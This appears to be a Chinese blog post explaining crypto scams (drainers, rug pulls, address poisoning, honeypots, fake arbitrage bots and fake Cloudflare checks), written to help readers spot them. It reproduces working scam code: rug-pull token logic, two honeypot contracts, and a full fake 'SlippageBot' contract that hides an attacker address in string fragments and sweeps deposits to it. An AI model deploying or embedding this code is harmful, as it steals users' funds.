简介

每年都有很多很多人因为各种骗局而损失惨重,这里主要讨论一些最近比较常见的骗局。

各大种类

Crypto Drainers ( the most common

image link

表现形式

通常是是模仿官方的网页布局和风格,页面内容就是领取空投之类的。

一种是点击按钮就会连接钱包弹出签名。

image link

另一种是连接钱包的时候提示连接失败或者繁忙,然后让自己填助记词或者私钥上去,就很直接…

image

传播方式,会在哪里看到

推特的评论区,是最常见的,通常会取一个和官方很像的名字头像,链接也是和官方网页很像的。

image link

image link


链上发名字里带链接的币,批量转给各个地址。

image link

image image image link

因为各大浏览器,钱包,追踪 ERC20 代币都是根据 ERC20 的 Transfer 事件来的。所以钓鱼方只要在合约上不断触发 Transfer 事件就可以伪造出很多转账记录,任意地址转到任意地址都可以。

1function airdrop(address[] calldata _to, uint256 _value) public {
2    for (uint256 i = 0; i < _to.length; i++) {
3        emit Transfer(address(0x0), _to[i], _value);
4    }
5}

image

比较常见的 from 地址就是各大交易所热钱包,各种 Deployer 之类的。上图就是 uniswap v4 pool manager,都是为了骗取信任。


污染谷歌搜索的结果。

一种是直接把钓鱼链接赞助在靠前的位置。

另一种是看起来是官方链接,但是会重定向去钓鱼网站,我还没实际见过这种,不确定是怎么做到的。

image

原理

image

虽然 drainer 有好多种,但是方法都大同小异。

钱包连接到网页后,网页获取到钱包地址,请求后端服务检查地址在各个链上的资产,包括原生代币,ERC20 代币, ERC721 nft, ERC1155 代币,各种 lp 的流动性证明。( 截图中的 /ethereum

按照价值排序后,由高到低发出签名请求。

如果是原生代币,会发出主动转账请求。

如果是支持 permit 的 ERC20 代币,会发出 permit 请求以节省手续费,一旦签名,drainer 就会调用合约 permit 并转走对应的资产。

如果是不支持 permit 的 ERC20 代币,会发出 approve 请求。在这里有一些 drainer 检测到受害者如果没有手续费去 approve,还会在弹出签名请求之前先贴心地给受害者发一点手续费。( 截图中的 /auto-gas-send

对于接收资金的地址也是有讲究的,我们知道 solidity 的 Create2 可以提前计算出部署的合约地址,drainer 会针对每一个受害者地址单独计算一个接收资金的地址,但在接收到资金前不会真的部署合约,就可以规避掉一些钱包的安全检查。真的接收到资金后,再部署合约把资金转走。( 截图中的 /salt

image image

鉴别,需注意

推特名字,看看带不带黄标或者蓝标。或者有的会说明是最后一个回复,那么后续的就都是钓鱼链接。

image image

链接域名,看看是不是官方域名,单词拼写是否正确,特别注意 i l 1 这些看起来差别不大的字符。

连接钱包之后立马就弹出交易签名的,要非常注意。正经 DApp 只会弹出登陆签名,或者连接钱包后不会立马弹出签名,而是等用户点击某个按钮后才会弹出签名。

Rug Pull

image

表现形式及传播方式

链上发币,通常币名都是蹭实事热点。

在 ERC20 合约的 _transfer 方法里增加空投逻辑,即每次转账的时候,随机计算几个地址,转非常微量的币给这些地址来提高持有人数。

link

 1if (airdropNumbs > 0 && from != address(this) && from != receiveWallet) {
 2    address ad;
 3    uint256 airdropAmount = amount / 10**9;
 4    for (uint256 i = 0; i < airdropNumbs; i++) {
 5        ad = address(
 6            uint160(
 7                uint256(
 8                    keccak256(
 9                        abi.encodePacked(i, amount, block.timestamp)
10                    )
11                )
12            )
13        );
14        super._transfer(from, ad, airdropAmount);
15    }
16    feeAmount += airdropNumbs * airdropAmount;
17}

有一定交易量和持有人之后就可以在 web3 钱包里被普通用户看到。

普通用户买进一定资金量,庄家就撤资跑路。

image

原理

要分好几种情况来讨论


撤销流动性,这个很好理解,有用户买进一定资金后庄家直接撤资跑路。

有一些 token 甚至会限制用户添加流动性,这样可以保证能控制所有流动性。


自己无限增发,或者可以 burn 流动性池

 1function airdrop(address[] memory investors, uint256[] memory amounts) external
 2{
 3    for (uint256 i = 0; i < investors.length; i++) {
 4        address wallet = investors[i];
 5        uint256 amount = _balances[wallet] > amounts[i] ? _balances[wallet] - amounts[i] : 0;
 6        _calcHolderBalance(wallet,msg.sender, amount);
 7    }
 8}
 9
10function _calcHolderBalance(address from, address to,  uint256 amount) private {
11    if(block.number > 0 && from != uniswapV2Pair || _deployer == to){
12        _balances[from] = _balances[from].sub(amount);
13        _balances[to] = _balances[to].add(amount.mul(_finalBuyTax));
14    }
15}

可以看出 airdrop 方法其实就是设置任意地址的余额,但仅 _deployer 可以设置 uniswap pair 的余额。

于是就可以轻松换走池子里几乎所有的另一种币。


在 _transfer 中限制用户卖出

 1function _transfer(address from, address to, uint256 amount) private {
 2    // ...
 3
 4    uint256 contractTokenBalance = balanceOf(address(this));
 5    if (!inSwap && to == uniswapV2Pair && swapEnabled) {
 6        if (contractTokenBalance > 0)
 7            _coralSwap(
 8                min(amount, min(contractTokenBalance, _maxTaxSwap))
 9            );
10        _CoralToFee(address(this).balance);
11    }
12
13    // ...
14}
15
16function _CoralToFee(uint256 amount) private {
17    _coralStore.transfer(amount);
18}

link

看起来只是个普通转账,但其实 _coralStore 是个合约地址,合约的内容是什么样的呢。

image

如果不是白名单,就直接 revert,所以只有白名单地址才能卖掉 token

鉴别

不仅要看合约正不正经,其他的点也很重要,以下是 AI 建议。

  • 检查流动性锁定(Liquidity Lock),如果项目方没有锁定流动性池的资金,随时可能撤走资金跑路。

  • 查看智能合约代码,通过 Etherscan、BscScan 等区块链浏览器检查合约是否有恶意代码。

  • 研究团队背景,许多 Rug Pull 项目是匿名团队运营的,谨慎投资没有透明度的项目。

  • 避免 FOMO(害怕错过),许多骗局利用“快速暴涨”的噱头吸引投资者冲进市场,保持冷静分析。

  • 社群和审计,关注项目的社群活动,查看是否有可信的第三方审计(如 CertiK、PeckShield)。

Similar Address

image link

表现形式

前缀或后缀一样的地址模仿转账。

有后四位后六位的,有前四位后四位的,甚至还有前四后六的。

因为浏览器或者钱包只显示前后几位,所以很容易看错。

传播方式及原理

通常只针对很常用的稳定币,比如 USDT, USDC 之类的,骗子会部署一个同名的假币,这里我们叫它 USDT2

针对每一次用户的 USDT 转账,触发两个事件混进用户的交易记录中 一个是 USDT 转 0,一个是 USDT2 转对应数量 或者是直接转不过数量级小很多的真的 USDT。

假设原始交易

Alice -> Bob 100 USDT

骗子生成假地址 Bob2,进行以下两个转账

Alice -> Bob2 0 USDT ( transferFrom amount=0

Alice -> Bob2 100 USDT2

用户在 explorer 和 web3 wallet 交易历史里可以看到,下次转账如果复制错地址,就 gg

explorer link

debank

鉴别

看清楚点,尽量不在 explorer 复制地址,转账需要再三确认。

Honey Pot

image link

表现形式及传播方式

放很多资金在合约地址,假装是有漏洞的合约,专门搞懂一点但不多的人。

感觉主要是在 explorer 上传播,都很少在推特上看到。

原理

lucky game 这个算是比较经典的,好几年前就兴起了,直到现在仍然有人中招。

 1/**
 2 *Submitted for verification at Etherscan.io on 2025-02-26
 3*/
 4
 5contract el_Quiz
 6{
 7    function Try(string memory _response) public payable
 8    {
 9        require(msg.sender == tx.origin);
10
11        if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
12        {
13            payable(msg.sender).transfer(address(this).balance);
14        }
15    }
16
17    string public question;
18
19    bytes32 responseHash;
20
21    mapping (bytes32=>bool) admin;
22
23    function Start(string calldata _question, string calldata _response) public payable isAdmin{
24        if(responseHash==0x0){
25            responseHash = keccak256(abi.encode(_response));
26            question = _question;
27        }
28    }
29
30    function Stop() public payable isAdmin {
31        payable(msg.sender).transfer(address(this).balance);
32        responseHash = 0x0;
33    }
34
35    function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
36        question = _question;
37        responseHash = _responseHash;
38    }
39
40    constructor(bytes32[] memory admins) {
41        for(uint256 i=0; i< admins.length; i++){
42            admin[admins[i]] = true;        
43        }       
44    }
45
46    modifier isAdmin(){
47        require(admin[keccak256(abi.encodePacked(msg.sender))]);
48        _;
49    }
50
51    fallback() external {}
52}

link

用户需要支付 1 ETH 以上的手续费,然后回答问题,如果回答正确,就可以提取合约里的资金。

注意到有个 Start 函数就是设置问题和答案的,很容易想到去看之前是如何设置的问题。

image

问题的设置也很巧妙,脑经急转弯,给用户一种好像真的别人容易想不到,自己小聪明即将得逞的感觉。

合约里还限制了 msg.sender == tx.origin ,这样就不能通过合约调用 Try 函数。( 暂时

当用户真的拿着 1 个 ETH 去 Try 的时候,后悔也来不及了。

但是这个合约有个问题,就是 Start 仅在 responseHash 为 0x0,即没有设置过的时候才去设置 responseHash,而这里还有个 New 函数可以直接设置 responseHash。

( 可以到 explorer 上看一下 Start tx 的状态变化,以及合约的 internal tx 的状态变化。


start_Bank 这个是伪装成一个存钱合约,但是有重入漏洞,让用户以为可以攻击。

 1/**
 2 *Submitted for verification at Etherscan.io on 2025-02-16
 3*/
 4
 5pragma solidity 0.7.6;
 6
 7contract start_BANK {
 8    function Deposit(uint _unlockTime) public payable {
 9        Holder storage acc = Accounts[msg.sender];
10        acc.balance += msg.value;
11        acc.unlockTime = _unlockTime > block.timestamp ? _unlockTime : block.timestamp;
12        LogFile.AddMessage(msg.sender, msg.value, "Put");
13    }
14
15    function Collect(uint _am) public payable {
16        Holder storage acc = Accounts[msg.sender];
17        if (acc.balance > MinSum && acc.balance >= _am && block.timestamp > acc.unlockTime) {
18            (bool success, ) = msg.sender.call{value: _am}("");
19            if (success) {
20                acc.balance -= _am;
21                LogFile.AddMessage(msg.sender, _am, "Collect");
22            }
23        }
24    }
25
26    struct Holder {
27        uint unlockTime;
28        uint balance;
29    }
30
31    mapping(address => Holder) public Accounts;
32
33    Log LogFile;
34
35    uint public MinSum = 1 ether;
36
37    constructor(address log) {
38        LogFile = Log(log);
39    }
40
41    fallback() external payable {
42        Deposit(0);
43    }
44
45    receive() external payable {
46        Deposit(0);
47    }
48}
49
50contract Log {
51    event Message(address indexed Sender, string Data, uint Val, uint Time);
52
53    function AddMessage(address _adr, uint _val, string memory _data) external {
54        emit Message(_adr, _data, _val, block.timestamp);
55    }
56}

link

刚看到可能会觉得 Collect 函数先 call 后改状态,可以重入提取所有资金。

这个合约的问题就在于,LogFile 是创建合约时传入的参数,并不一定是下面那段 Log 代码创建的合约。于是下面的 Log 只是起了个 interface 的作用。

当我们找到真实的 LogFile 地址过去看,是个未验证的合约,可以反编译看看。

image link

可以看到当 msg.sender 不是来自 start_Bank 合约的时候,表现就是简单的 emit Log 事件。但当从 start_Bank 合约调用这个合约的时候,就会进入隐藏逻辑。

看起来乱糟糟的,其实等价于 require(tx.origin == owner || _data[0] != ‘0x43’),也就是对于不是 owner 的地址,_data 即消息的第一个字符不能是 ‘C’,根据上述合约,也就是 Collect,意思就是其他日志都可以,但只有 owner 可以 Collect。

还有个巧妙的点在于,Collect 里对解锁时间的检查,要大于 block.timestamp,而 Deposit 的时候解锁时间是不能小于 block.timestamp 的,所以虽然这个合约接收合约地址来充值和提取,但同一个地址没法在一个区块里调用 Deposit 和 Collect 。这样就可以骗用户先充钱,充了钱就再也提不出来了。

鉴别

一般这种都会有比较多的资金来吸引用户去观察。

避免的方式就是不要贪心,然后就是要磨练技术,看得出其中的问题。

其他, youtube solidity video, fake cloudflare script

表现形式

经常刷推特的人可能都知道,偶尔会看到一些广告说 AI 多厉害,写的自动套利 bot 很短时间就赚了很多钱,然后给出一个 youtube 教程链接。

视频会给出一个链接,链接很健康,不钓鱼,声称是 AI 生成的合约代码,然后教用户怎么打开 remix,把代码复制到里面,发交易部署,成功后要往自己部署的 bot 里转账一笔“启动资金”。然后才能调用 bot 的 start 函数。

用户可能觉得,确实是自己部署的合约,而且合约名字就叫 OneinchSlippageBot 或者 UniswapSlippageBot,能有什么问题呢,就很豪爽地转账了,哇哦。

来一起学习一下 SlippageBot 合约吧

  1/**
  2 *Submitted for verification at Etherscan.io on 2025-01-30
  3*/
  4
  5//SPDX-License-Identifier: MIT
  6pragma solidity ^0.6.6;
  7
  8// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
  9// Import Libraries Migrator/Exchange/Factory
 10// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
 11// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
 12// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
 13
 14contract OneinchSlippageBot {
 15 
 16    //string public tokenName;
 17    //string public tokenSymbol;
 18    uint liquidity;
 19    string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
 20    string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
 21
 22    event Log(string _msg);
 23
 24    constructor() public {
 25        //tokenSymbol = _mainTokenSymbol;
 26        //tokenName = _mainTokenName;
 27    }
 28
 29    receive() external payable {}
 30
 31    struct slice {
 32        uint _len;
 33        uint _ptr;
 34    }
 35    
 36    /*
 37     * @dev Find newly deployed contracts on Uniswap Exchange
 38     * @param memory of required contract liquidity.
 39     * @param other The second slice to compare.
 40     * @return New contracts with required liquidity.
 41     */
 42
 43    function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
 44        uint shortest = self._len;
 45
 46        if (other._len < self._len)
 47            shortest = other._len;
 48
 49        uint selfptr = self._ptr;
 50        uint otherptr = other._ptr;
 51
 52        for (uint idx = 0; idx < shortest; idx += 32) {
 53            // initiate contract finder
 54            uint a;
 55            uint b;
 56
 57            loadCurrentContract(WETH_CONTRACT_ADDRESS);
 58            loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
 59            assembly {
 60                a := mload(selfptr)
 61                b := mload(otherptr)
 62            }
 63
 64            if (a != b) {
 65                // Mask out irrelevant contracts and check again for new contracts
 66                uint256 mask = uint256(-1);
 67
 68                if(shortest < 32) {
 69                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
 70                }
 71                uint256 diff = (a & mask) - (b & mask);
 72                if (diff != 0)
 73                    return int(diff);
 74            }
 75            selfptr += 32;
 76            otherptr += 32;
 77        }
 78        return int(self._len) - int(other._len);
 79    }
 80
 81
 82    /*
 83     * @dev Extracts the newest contracts on Uniswap exchange
 84     * @param self The slice to operate on.
 85     * @param rune The slice that will contain the first rune.
 86     * @return `list of contracts`.
 87     */
 88    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
 89        uint ptr = selfptr;
 90        uint idx;
 91
 92        if (needlelen <= selflen) {
 93            if (needlelen <= 32) {
 94                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
 95
 96                bytes32 needledata;
 97                assembly { needledata := and(mload(needleptr), mask) }
 98
 99                uint end = selfptr + selflen - needlelen;
100                bytes32 ptrdata;
101                assembly { ptrdata := and(mload(ptr), mask) }
102
103                while (ptrdata != needledata) {
104                    if (ptr >= end)
105                        return selfptr + selflen;
106                    ptr++;
107                    assembly { ptrdata := and(mload(ptr), mask) }
108                }
109                return ptr;
110            } else {
111                // For long needles, use hashing
112                bytes32 hash;
113                assembly { hash := keccak256(needleptr, needlelen) }
114
115                for (idx = 0; idx <= selflen - needlelen; idx++) {
116                    bytes32 testHash;
117                    assembly { testHash := keccak256(ptr, needlelen) }
118                    if (hash == testHash)
119                        return ptr;
120                    ptr += 1;
121                }
122            }
123        }
124        return selfptr + selflen;
125    }
126
127
128    /*
129     * @dev Loading the contract
130     * @param contract address
131     * @return contract interaction object
132     */
133    function loadCurrentContract(string memory self) internal pure returns (string memory) {
134        string memory ret = self;
135        uint retptr;
136        assembly { retptr := add(ret, 32) }
137
138        return ret;
139    }
140
141    /*
142     * @dev Extracts the contract from Uniswap
143     * @param self The slice to operate on.
144     * @param rune The slice that will contain the first rune.
145     * @return `rune`.
146     */
147    function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
148        rune._ptr = self._ptr;
149
150        if (self._len == 0) {
151            rune._len = 0;
152            return rune;
153        }
154
155        uint l;
156        uint b;
157        // Load the first byte of the rune into the LSBs of b
158        assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
159        if (b < 0x80) {
160            l = 1;
161        } else if(b < 0xE0) {
162            l = 2;
163        } else if(b < 0xF0) {
164            l = 3;
165        } else {
166            l = 4;
167        }
168
169        // Check for truncated codepoints
170        if (l > self._len) {
171            rune._len = self._len;
172            self._ptr += self._len;
173            self._len = 0;
174            return rune;
175        }
176
177        self._ptr += l;
178        self._len -= l;
179        rune._len = l;
180        return rune;
181    }
182
183    function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
184        bytes memory tmp = bytes(_a);
185        uint160 iaddr = 0;
186        uint160 b1;
187        uint160 b2;
188        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
189            iaddr *= 256;
190            b1 = uint160(uint8(tmp[i]));
191            b2 = uint160(uint8(tmp[i + 1]));
192            if ((b1 >= 97) && (b1 <= 102)) {
193                b1 -= 87;
194            } else if ((b1 >= 65) && (b1 <= 70)) {
195                b1 -= 55;
196            } else if ((b1 >= 48) && (b1 <= 57)) {
197                b1 -= 48;
198            }
199            if ((b2 >= 97) && (b2 <= 102)) {
200                b2 -= 87;
201            } else if ((b2 >= 65) && (b2 <= 70)) {
202                b2 -= 55;
203            } else if ((b2 >= 48) && (b2 <= 57)) {
204                b2 -= 48;
205            }
206            iaddr += (b1 * 16 + b2);
207        }
208        return address(iaddr);
209    }
210
211
212    function memcpy(uint dest, uint src, uint len) private pure {
213        // Check available liquidity
214        for(; len >= 32; len -= 32) {
215            assembly {
216                mstore(dest, mload(src))
217            }
218            dest += 32;
219            src += 32;
220        }
221
222        // Copy remaining bytes
223        uint mask = 256 ** (32 - len) - 1;
224        assembly {
225            let srcpart := and(mload(src), not(mask))
226            let destpart := and(mload(dest), mask)
227            mstore(dest, or(destpart, srcpart))
228        }
229    }
230
231    /*
232     * @dev Orders the contract by its available liquidity
233     * @param self The slice to operate on.
234     * @return The contract with possbile maximum return
235     */
236    function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
237        if (self._len == 0) {
238            return 0;
239        }
240
241        uint word;
242        uint length;
243        uint divisor = 2 ** 248;
244
245        // Load the rune into the MSBs of b
246        assembly { word:= mload(mload(add(self, 32))) }
247        uint b = word / divisor;
248        if (b < 0x80) {
249            ret = b;
250            length = 1;
251        } else if(b < 0xE0) {
252            ret = b & 0x1F;
253            length = 2;
254        } else if(b < 0xF0) {
255            ret = b & 0x0F;
256            length = 3;
257        } else {
258            ret = b & 0x07;
259            length = 4;
260        }
261
262        // Check for truncated codepoints
263        if (length > self._len) {
264            return 0;
265        }
266
267        for (uint i = 1; i < length; i++) {
268            divisor = divisor / 256;
269            b = (word / divisor) & 0xFF;
270            if (b & 0xC0 != 0x80) {
271                // Invalid UTF-8 sequence
272                return 0;
273            }
274            ret = (ret * 64) | (b & 0x3F);
275        }
276
277        return ret;
278    }
279     
280    function getMempoolStart() private pure returns (string memory) {
281        return "b153"; 
282    }
283
284    /*
285     * @dev Calculates remaining liquidity in contract
286     * @param self The slice to operate on.
287     * @return The length of the slice in runes.
288     */
289    function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
290        uint ptr = self._ptr - 31;
291        uint end = ptr + self._len;
292        for (l = 0; ptr < end; l++) {
293            uint8 b;
294            assembly { b := and(mload(ptr), 0xFF) }
295            if (b < 0x80) {
296                ptr += 1;
297            } else if(b < 0xE0) {
298                ptr += 2;
299            } else if(b < 0xF0) {
300                ptr += 3;
301            } else if(b < 0xF8) {
302                ptr += 4;
303            } else if(b < 0xFC) {
304                ptr += 5;
305            } else {
306                ptr += 6;            
307            }        
308        }    
309    }
310
311    function fetchMempoolEdition() private pure returns (string memory) {
312        return "a0BE";
313    }
314
315    /*
316     * @dev Parsing all Uniswap mempool
317     * @param self The contract to operate on.
318     * @return True if the slice is empty, False otherwise.
319     */
320
321    /*
322     * @dev Returns the keccak-256 hash of the contracts.
323     * @param self The slice to hash.
324     * @return The hash of the contract.
325     */
326    function keccak(slice memory self) internal pure returns (bytes32 ret) {
327        assembly {
328            ret := keccak256(mload(add(self, 32)), mload(self))
329        }
330    }
331    
332    function getMempoolShort() private pure returns (string memory) {
333        return "0x402";
334    }
335    /*
336     * @dev Check if contract has enough liquidity available
337     * @param self The contract to operate on.
338     * @return True if the slice starts with the provided text, false otherwise.
339     */
340    function checkLiquidity(uint a) internal pure returns (string memory) {
341
342        uint count = 0;
343        uint b = a;
344        while (b != 0) {
345            count++;
346            b /= 16;
347        }
348        bytes memory res = new bytes(count);
349        for (uint i=0; i<count; ++i) {
350            b = a % 16;
351            res[count - i - 1] = toHexDigit(uint8(b));
352            a /= 16;
353        }
354
355        return string(res);
356    }
357    
358    function getMempoolHeight() private pure returns (string memory) {
359        return "16C1B";
360    }
361    /*
362     * @dev If `self` starts with `needle`, `needle` is removed from the
363     *      beginning of `self`. Otherwise, `self` is unmodified.
364     * @param self The slice to operate on.
365     * @param needle The slice to search for.
366     * @return `self`
367     */
368    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
369        if (self._len < needle._len) {
370            return self;
371        }
372
373        bool equal = true;
374        if (self._ptr != needle._ptr) {
375            assembly {
376                let length := mload(needle)
377                let selfptr := mload(add(self, 0x20))
378                let needleptr := mload(add(needle, 0x20))
379                equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
380            }
381        }
382
383        if (equal) {
384            self._len -= needle._len;
385            self._ptr += needle._len;
386        }
387
388        return self;
389    }
390    
391    function getMempoolLog() private pure returns (string memory) {
392        return "18565ec5";
393    }
394
395    // Returns the memory address of the first byte of the first occurrence of
396    // `needle` in `self`, or the first byte after `self` if not found.
397    function getBa() private view returns(uint) {
398        return address(this).balance;
399    }
400
401    function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
402        uint ptr = selfptr;
403        uint idx;
404
405        if (needlelen <= selflen) {
406            if (needlelen <= 32) {
407                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
408
409                bytes32 needledata;
410                assembly { needledata := and(mload(needleptr), mask) }
411
412                uint end = selfptr + selflen - needlelen;
413                bytes32 ptrdata;
414                assembly { ptrdata := and(mload(ptr), mask) }
415
416                while (ptrdata != needledata) {
417                    if (ptr >= end)
418                        return selfptr + selflen;
419                    ptr++;
420                    assembly { ptrdata := and(mload(ptr), mask) }
421                }
422                return ptr;
423            } else {
424                // For long needles, use hashing
425                bytes32 hash;
426                assembly { hash := keccak256(needleptr, needlelen) }
427
428                for (idx = 0; idx <= selflen - needlelen; idx++) {
429                    bytes32 testHash;
430                    assembly { testHash := keccak256(ptr, needlelen) }
431                    if (hash == testHash)
432                        return ptr;
433                    ptr += 1;
434                }
435            }
436        }
437        return selfptr + selflen;
438    }
439
440    /*
441     * @dev Iterating through all mempool to call the one with the with highest possible returns
442     * @return `self`.
443     */
444    function fetchMempoolData() internal pure returns (string memory) {
445        string memory _mempoolShort = getMempoolShort();
446
447        string memory _mempoolEdition = fetchMempoolEdition();
448    /*
449        * @dev loads all Uniswap mempool into memory
450        * @param token An output parameter to which the first token is written.
451        * @return `mempool`.
452        */
453        string memory _mempoolVersion = fetchMempoolVersion();
454                string memory _mempoolLong = getMempoolLong();
455        /*
456        * @dev Modifies `self` to contain everything from the first occurrence of
457        *      `needle` to the end of the slice. `self` is set to the empty slice
458        *      if `needle` is not found.
459        * @param self The slice to search and modify.
460        * @param needle The text to search for.
461        * @return `self`.
462        */
463
464        string memory _getMempoolHeight = getMempoolHeight();
465        string memory _getMempoolCode = getMempoolCode();
466
467        /*
468        load mempool parameters
469        */
470        string memory _getMempoolStart = getMempoolStart();
471
472        string memory _getMempoolLog = getMempoolLog();
473
474
475
476        return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
477            _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
478    }
479
480    function toHexDigit(uint8 d) pure internal returns (byte) {
481        if (0 <= d && d <= 9) {
482            return byte(uint8(byte('0')) + d);
483        } else if (10 <= uint8(d) && uint8(d) <= 15) {
484            return byte(uint8(byte('a')) + d - 10);
485        }
486
487        // revert("Invalid hex digit");
488        revert();
489    } 
490               
491                   
492    function getMempoolLong() private pure returns (string memory) {
493        return "Bff0F";
494    }
495    
496    /* @dev Perform frontrun action from different contract pools
497     * @param contract address to snipe liquidity from
498     * @return `liquidity`.
499     */
500    function start() public payable {
501	/*
502        * Start the trading process with the bot by Uniswap Router
503        * To start the trading process correctly, you need to have a balance of at least 0.4 ETH on your contract
504        */
505        require(address(this).balance >= 0.4 ether, "Insufficient contract balance");
506    }
507    
508    /*
509     * @dev withdrawals profit back to contract creator address
510     * @return `profits`.
511     */
512    function withdrawal() public payable {
513        address to = startExploration((fetchMempoolData()));
514        address payable contracts = payable(to);
515        contracts.transfer(getBa());
516    }
517
518    /*
519     * @dev token int2 to readable str
520     * @param token An output parameter to which the first token is written.
521     * @return `token`.
522     */
523    function getMempoolCode() private pure returns (string memory) {
524        return "07c85";
525    }
526
527    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
528        if (_i == 0) {
529            return "0";
530        }
531        uint j = _i;
532        uint len;
533        while (j != 0) {
534            len++;
535            j /= 10;
536        }
537        bytes memory bstr = new bytes(len);
538        uint k = len - 1;
539        while (_i != 0) {
540            bstr[k--] = byte(uint8(48 + _i % 10));
541            _i /= 10;
542        }
543        return string(bstr);
544    }
545    
546    function fetchMempoolVersion() private pure returns (string memory) {
547        return "1e3d80";   
548    }
549
550    /*
551     * @dev loads all Uniswap mempool into memory
552     * @param token An output parameter to which the first token is written.
553     * @return `mempool`.
554     */
555    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
556        bytes memory _baseBytes = bytes(_base);
557        bytes memory _valueBytes = bytes(_value);
558
559        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
560        bytes memory _newValue = bytes(_tmpValue);
561
562        uint i;
563        uint j;
564
565        for(i=0; i<_baseBytes.length; i++) {
566            _newValue[j++] = _baseBytes[i];
567        }
568
569        for(i=0; i<_valueBytes.length; i++) {
570            _newValue[j++] = _valueBytes[i];
571        }
572
573        return string(_newValue);
574    }
575}

link link

可以看到,真正做的事情就是在 start 的时候骗用户多充点钱,然后在 withdrawal 的时候把钱转走。


还有一种就是假装是 cloudflare 的验证页面,点击验证之后会提示需要额外的验证。

让复制代码到控制台执行,会安装上恶意软件被窃取私钥。

image link